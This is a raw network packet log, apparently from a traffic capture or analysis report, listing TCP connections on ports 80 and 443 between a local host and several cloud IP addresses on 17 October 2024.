Oct 17, 2024 18:39:17.373532057 CEST	50016	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:17.407370090 CEST	50016	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:17.407413960 CEST	443	50016	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:17.407469034 CEST	50016	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:17.408006907 CEST	443	50016	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:17.408426046 CEST	50016	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:17.484153986 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:17.524542093 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:17.599977016 CEST	443	50018	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:17.600111008 CEST	50018	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:17.691924095 CEST	50018	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:17.691946030 CEST	443	50018	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:17.692055941 CEST	50018	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:17.692356110 CEST	443	50018	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:17.692460060 CEST	50018	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:19.632460117 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:19.637371063 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:19.681009054 CEST	50019	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:19.681046009 CEST	443	50019	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:19.681169033 CEST	50019	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:19.682694912 CEST	50019	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:19.682708979 CEST	443	50019	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:19.761440992 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:19.815973997 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:20.015691042 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:20.020679951 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:20.141911983 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:20.171227932 CEST	50020	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:20.171269894 CEST	443	50020	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:20.179289103 CEST	50020	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:20.179567099 CEST	50020	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:20.179578066 CEST	443	50020	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:20.185942888 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:20.307744980 CEST	443	50019	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:20.307846069 CEST	50019	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:20.353585005 CEST	50019	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:20.353612900 CEST	443	50019	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:20.353687048 CEST	50019	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:20.353863955 CEST	443	50019	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:20.354015112 CEST	50019	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:20.513245106 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:20.518419981 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:20.641621113 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:20.660377026 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:20.665205002 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:20.687406063 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:20.787091970 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:20.807451963 CEST	443	50020	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:20.807466984 CEST	443	50020	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:20.811764002 CEST	50020	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:20.834525108 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:22.854609966 CEST	50020	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:22.854625940 CEST	443	50020	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:22.854967117 CEST	443	50020	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:22.857403994 CEST	50020	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:22.857480049 CEST	50020	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:22.857575893 CEST	443	50020	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:22.857664108 CEST	50020	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:26.018017054 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:26.023252010 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:26.087873936 CEST	50021	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.087898970 CEST	443	50021	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.090282917 CEST	50022	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.090293884 CEST	443	50022	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.094444990 CEST	50023	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:26.094464064 CEST	443	50023	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:26.103862047 CEST	50021	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.103933096 CEST	50022	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.103986979 CEST	50023	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:26.104300976 CEST	50021	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.104315996 CEST	443	50021	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.104485989 CEST	50022	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.104492903 CEST	443	50022	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.106014013 CEST	50023	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:26.106028080 CEST	443	50023	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:26.119158983 CEST	50024	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.119194031 CEST	443	50024	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.119434118 CEST	50024	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.121097088 CEST	50024	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.121107101 CEST	443	50024	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.147416115 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:26.152168036 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:26.157026052 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:26.204093933 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:26.279339075 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:26.320041895 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:26.719705105 CEST	443	50021	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.719722033 CEST	443	50021	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.719794035 CEST	50021	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.723505020 CEST	50021	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.723514080 CEST	443	50021	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.723762035 CEST	443	50021	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.726017952 CEST	50021	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.726126909 CEST	50021	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.726178885 CEST	443	50021	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.729909897 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:26.730475903 CEST	443	50023	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:26.730494976 CEST	443	50023	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:26.731456041 CEST	443	50022	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.731468916 CEST	443	50022	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.731534004 CEST	50021	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.731574059 CEST	50021	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.731574059 CEST	50023	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:26.734853029 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:26.736064911 CEST	50023	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:26.736072063 CEST	443	50023	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:26.736145973 CEST	50023	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:26.736289978 CEST	443	50023	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:26.736900091 CEST	50023	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:26.737210989 CEST	50022	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.740180016 CEST	50022	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.740184069 CEST	443	50022	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.740433931 CEST	443	50022	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.747559071 CEST	50022	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.747673988 CEST	50022	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.747741938 CEST	443	50022	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.747840881 CEST	50022	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.750479937 CEST	443	50024	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.750559092 CEST	50024	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.755748987 CEST	50024	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.755758047 CEST	443	50024	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.755857944 CEST	50024	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.755956888 CEST	443	50024	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.757214069 CEST	50024	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.760262966 CEST	50025	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.760305882 CEST	443	50025	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.760596037 CEST	50025	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.761857033 CEST	50025	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:26.761872053 CEST	443	50025	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:26.859378099 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:26.863585949 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:26.868617058 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:26.906148911 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:27.024058104 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:27.068989992 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:27.398595095 CEST	443	50025	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:27.398703098 CEST	50025	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:27.403765917 CEST	50025	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:27.403784990 CEST	443	50025	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:27.403857946 CEST	50025	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:27.403984070 CEST	443	50025	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:27.404886007 CEST	50025	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:27.406527042 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:27.410231113 CEST	50026	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:27.410269976 CEST	443	50026	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:27.410731077 CEST	50026	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:27.411992073 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:27.412189007 CEST	50026	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:27.412214994 CEST	443	50026	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:27.536154032 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:27.539627075 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:27.544641018 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:27.586050987 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:27.666219950 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:27.708547115 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:28.028573036 CEST	443	50026	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:28.028754950 CEST	50026	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:28.034205914 CEST	50026	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:28.034225941 CEST	443	50026	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:28.034392118 CEST	50026	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:28.034452915 CEST	443	50026	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:28.036715984 CEST	50026	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:28.038552046 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:28.044168949 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:28.166090012 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:28.169836044 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:28.174700022 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:28.209988117 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:28.296344042 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:28.341677904 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:32.562062025 CEST	50027	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:32.562112093 CEST	443	50027	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:32.562694073 CEST	50027	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:32.562865973 CEST	50027	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:32.562882900 CEST	443	50027	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:32.581758976 CEST	50028	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:32.581813097 CEST	443	50028	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:32.582010984 CEST	50028	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:32.582106113 CEST	50028	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:32.582114935 CEST	443	50028	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:32.586702108 CEST	50029	443	192.168.2.7	52.222.236.23
Oct 17, 2024 18:39:32.586752892 CEST	443	50029	52.222.236.23	192.168.2.7
Oct 17, 2024 18:39:32.587168932 CEST	50029	443	192.168.2.7	52.222.236.23
Oct 17, 2024 18:39:32.587322950 CEST	50029	443	192.168.2.7	52.222.236.23
Oct 17, 2024 18:39:32.587340117 CEST	443	50029	52.222.236.23	192.168.2.7
Oct 17, 2024 18:39:32.630556107 CEST	50030	443	192.168.2.7	35.190.72.216
Oct 17, 2024 18:39:32.630595922 CEST	443	50030	35.190.72.216	192.168.2.7
Oct 17, 2024 18:39:32.630789042 CEST	50030	443	192.168.2.7	35.190.72.216
Oct 17, 2024 18:39:32.632220030 CEST	50030	443	192.168.2.7	35.190.72.216
Oct 17, 2024 18:39:32.632231951 CEST	443	50030	35.190.72.216	192.168.2.7
Oct 17, 2024 18:39:32.643018961 CEST	50031	443	192.168.2.7	35.201.103.21
Oct 17, 2024 18:39:32.643033981 CEST	443	50031	35.201.103.21	192.168.2.7
Oct 17, 2024 18:39:32.643364906 CEST	50031	443	192.168.2.7	35.201.103.21
Oct 17, 2024 18:39:32.645003080 CEST	50031	443	192.168.2.7	35.201.103.21
Oct 17, 2024 18:39:32.645015001 CEST	443	50031	35.201.103.21	192.168.2.7
Oct 17, 2024 18:39:33.169322968 CEST	443	50027	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:33.169487000 CEST	50027	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:33.173027992 CEST	50027	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:33.173038960 CEST	443	50027	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:33.173242092 CEST	443	50027	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:33.175412893 CEST	50027	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:33.175523996 CEST	50027	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:33.175565958 CEST	443	50027	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:33.175731897 CEST	50027	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:33.179938078 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:33.184887886 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:33.206273079 CEST	443	50028	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:33.206413031 CEST	50028	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:33.209808111 CEST	50028	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:33.209817886 CEST	443	50028	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:33.210076094 CEST	443	50028	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:33.211992979 CEST	50028	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:33.212112904 CEST	50028	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:33.212147951 CEST	443	50028	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:33.213517904 CEST	50028	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:33.275357008 CEST	443	50030	35.190.72.216	192.168.2.7
Oct 17, 2024 18:39:33.275482893 CEST	50030	443	192.168.2.7	35.190.72.216
Oct 17, 2024 18:39:33.279704094 CEST	50030	443	192.168.2.7	35.190.72.216
Oct 17, 2024 18:39:33.279712915 CEST	443	50030	35.190.72.216	192.168.2.7
Oct 17, 2024 18:39:33.279815912 CEST	50030	443	192.168.2.7	35.190.72.216
Oct 17, 2024 18:39:33.279881954 CEST	443	50030	35.190.72.216	192.168.2.7
Oct 17, 2024 18:39:33.280023098 CEST	50030	443	192.168.2.7	35.190.72.216
Oct 17, 2024 18:39:33.285043955 CEST	443	50031	35.201.103.21	192.168.2.7
Oct 17, 2024 18:39:33.285129070 CEST	50031	443	192.168.2.7	35.201.103.21
Oct 17, 2024 18:39:33.289088011 CEST	50031	443	192.168.2.7	35.201.103.21
Oct 17, 2024 18:39:33.289093018 CEST	443	50031	35.201.103.21	192.168.2.7
Oct 17, 2024 18:39:33.289167881 CEST	50031	443	192.168.2.7	35.201.103.21
Oct 17, 2024 18:39:33.289248943 CEST	443	50031	35.201.103.21	192.168.2.7
Oct 17, 2024 18:39:33.289355993 CEST	50031	443	192.168.2.7	35.201.103.21
Oct 17, 2024 18:39:33.293175936 CEST	50032	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:33.293211937 CEST	443	50032	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:33.293282986 CEST	50032	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:33.293386936 CEST	50032	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:33.293400049 CEST	443	50032	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:33.308450937 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:33.311328888 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:33.316179991 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:33.355555058 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:33.425105095 CEST	443	50029	52.222.236.23	192.168.2.7
Oct 17, 2024 18:39:33.425760984 CEST	50029	443	192.168.2.7	52.222.236.23
Oct 17, 2024 18:39:33.429115057 CEST	50029	443	192.168.2.7	52.222.236.23
Oct 17, 2024 18:39:33.429130077 CEST	443	50029	52.222.236.23	192.168.2.7
Oct 17, 2024 18:39:33.429421902 CEST	443	50029	52.222.236.23	192.168.2.7
Oct 17, 2024 18:39:33.431864023 CEST	50029	443	192.168.2.7	52.222.236.23
Oct 17, 2024 18:39:33.431969881 CEST	50029	443	192.168.2.7	52.222.236.23
Oct 17, 2024 18:39:33.432027102 CEST	443	50029	52.222.236.23	192.168.2.7
Oct 17, 2024 18:39:33.432303905 CEST	50029	443	192.168.2.7	52.222.236.23
Oct 17, 2024 18:39:33.437465906 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:33.441296101 CEST	50033	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:33.441354036 CEST	443	50033	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:33.442272902 CEST	50033	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:33.442429066 CEST	50033	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:33.442445993 CEST	443	50033	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:33.443928957 CEST	50034	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:33.443943024 CEST	443	50034	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:33.445007086 CEST	50034	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:33.445144892 CEST	50034	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:33.445158958 CEST	443	50034	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:33.446616888 CEST	50035	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:33.446657896 CEST	443	50035	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:33.446944952 CEST	50035	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:33.447086096 CEST	50035	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:33.447101116 CEST	443	50035	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:33.448539972 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:33.453465939 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:33.487099886 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:33.576473951 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:33.583702087 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:33.588570118 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:33.634251118 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:33.710392952 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:33.756696939 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:33.918577909 CEST	443	50032	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:33.918667078 CEST	50032	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:33.922261953 CEST	50032	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:33.922276020 CEST	443	50032	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:33.922489882 CEST	443	50032	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:33.925457954 CEST	50032	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:33.925578117 CEST	443	50032	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:33.925585985 CEST	50032	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:33.925595045 CEST	443	50032	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:33.929140091 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:33.933921099 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:34.052567959 CEST	443	50035	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:34.052683115 CEST	50035	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:34.055783987 CEST	50035	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:34.055794001 CEST	443	50035	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:34.056025028 CEST	443	50035	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:34.056665897 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:34.059905052 CEST	50035	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:34.060002089 CEST	50035	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:34.060060978 CEST	443	50035	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:34.060396910 CEST	50035	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:34.061950922 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:34.065198898 CEST	443	50033	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:34.065306902 CEST	50033	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:34.066812992 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:34.067954063 CEST	50033	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:34.067967892 CEST	443	50033	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:34.068073988 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:34.068207026 CEST	443	50033	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:34.068356991 CEST	443	50034	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:34.068439007 CEST	50034	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:34.070810080 CEST	50034	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:34.070816994 CEST	443	50034	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:34.071063995 CEST	443	50034	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:34.072856903 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:34.073836088 CEST	50033	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:34.073920965 CEST	50033	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:34.073995113 CEST	443	50033	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:34.074681997 CEST	50034	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:34.074733973 CEST	50034	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:34.075023890 CEST	50033	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:34.075031042 CEST	443	50034	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:34.075237036 CEST	50034	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:34.135401011 CEST	443	50032	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:34.135473967 CEST	50032	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:34.192208052 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:34.199543953 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:34.203259945 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:34.208134890 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:34.243524075 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:34.329756021 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:34.376353979 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:36.787296057 CEST	50037	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:36.787338972 CEST	443	50037	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:36.787744045 CEST	50037	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:36.789195061 CEST	50037	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:36.789211988 CEST	443	50037	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:37.402966022 CEST	443	50037	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:37.403141022 CEST	50037	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:37.407325983 CEST	50037	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:37.407334089 CEST	443	50037	34.107.243.93	192.168.2.7
